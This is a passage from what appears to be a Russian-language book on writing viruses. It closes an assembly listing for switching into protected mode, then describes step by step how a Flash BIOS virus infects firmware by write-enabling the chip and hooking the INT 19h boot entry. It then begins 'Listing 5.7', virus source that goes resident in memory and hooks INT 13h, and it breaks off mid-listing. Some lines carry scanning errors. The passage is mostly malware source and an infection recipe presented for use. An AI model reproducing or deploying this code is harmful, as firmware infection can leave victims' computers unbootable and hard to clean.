enable_a20 ENDP
disable_a20 PROC
mov al, A20_PORT
out STATUS_PORT, al
mov al, A20_OFF
out KBD_PORT_A, al
ret
disable_a20 ENDP
; Здесь сохраняется адрес стека
real_sp dw ?
real_ss dw ?
; Эта строка выводится на экран после работы программы ;
Символ '?' заменяется на 'L' в защищенном режиме
qw db 13,10,'?ight General',13,10,'$'
; Глобальная таблица дескрипторов. Нулевой дескриптор
; обязательно должен быть 'пустым'
GDT_BEG=$
gdtr label WORD
gdt_0 desc_struc <0,0,0,0,0>;
gdt_gdt desc_struc <GDT_SIZE-10,DATA_ACC,0>
gdt_ds desc_struc <DSEG_SIZE-10,DATA_ACC,0>
gdt_cs desc_struc <CSEG_SIZE-10,CODE_ACC,0>
gdt_ss desc_struc <STACK_SIZE-10,DATA_ACC,0>
GDT_SIZE=($-GDT_BEG)
END start
FLASH BIOS – почему бы и нет! Самая обычная ситуация – это когда код привязан к файловой системе и/или является резидентным (выполняющимся в оперативной памяти). Но что если вирусный код работает в BIOS?!
Да-да, именно, а почему бы и нет. Отлов и уничтожение такого 'зверя' потребует от антивирусной программы чего-то большего, а именно – возможности трассировать прерывание INT 16h.
ПРИМЕЧАНИЕ
Прерывание (от англ. interrupt) – сигнал, сообщающий процессору о совершении какого-либо события. Прерывание подразумевает приостановку выполнения текущей последовательности команд и передачу управления обработчику прерывания.
Почему все так сложно и как с этим связан антивирусный монитор?
Все дело в том, что BIOS (AMI, например) обладает некоторыми особенностями работы в микросхемах Flash-памяти, которые базируются на использовании функции EOh прерывания INT 16h. Внесенный в данную область памяти вирус впоследствии запрещает повторно использовать указанную функцию. Как следствие, это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Как же это все работает?
Алгоритм работы вируса, 'живущего' в BIOS, выглядит следующим образом.
1. Вирус проверяет систему на наличие Flash BIOS.
2. Далее идет проверка на зараженность Flash BIOS (если BIOS чист – то 'ОК', иначе – осуществить выход).
3. Считывается вектор INT 19h из таблицы (прерывание загрузки).
4. Читает первые пять байт от точки входа INT 19h.
5. Проверяет свободное место в микросхеме BIOS (поиск области нулей).
6. Устанавливает память Flash BIOS в режим записи (нормальное ее состояние в режиме чтения).
7. Запись вируса в найденную свободную область.
8. Запись перехода на вирус в точку входа INT 19h.
9. Возврат Flash BIOS в режим 'только чтение'.
Вот, собственно, и сам код с комментариями (листинг 5.7):
Листинг 5.7. Код вируса, поражающего BIOS ;
Вирусный код, заражающий Flash BIOS.
; Наиболее опасен тем, что при заражении нельзя будет загрузиться ;
даже с 'чистой' дискеты.
org 0
; При входе в boot-сектор 01=загрузочный диск
mov si, 7C00h ;
Устанавливаем 0000h в регистрах DS и ES
хог ах, ах
mov es, ax
mov ds, ax
; Устанавливаем значение стека 0000h:7C00h
cli
mov ss, ax
mov sp, si
sti
; Уменьшаем на 1Кбайт память (0040h:0013h)
dec word ptr [0413h] ;
Получаем размер памяти (при возврате в АХ)
int 12h
mov cl, 6
shl ax, cl
; Устанавливаем новый сегмент вируса
mov es, ax
; Переносим вирусный сектор в вершину памяти
xor di, di
mov cx, 200h
cld
rep movsb
; Сохраняем вектор прерывания INT 13h
mov ax, word ptr [13h*4]
mov word ptr es: [off set i13], ax
mov ax, word ptr [13h*4+2]
mov word ptr es: [offset i13+2], ax
; Устанавливаем новый вектор прерывания INT 13h
mov word ptr [13h*4], offset Handler
mov word ptr [13h*4+2], es
; Переходим в точку ES:Restart (в копии вируса,
; находящейся в вершине памяти)
already_resident:
push es
mov ax, offset Restart
push ax
retf
; Ниже программа работает уже в вершине памяти
Restart:
; Загружаем оригинальный boot-сектор из конца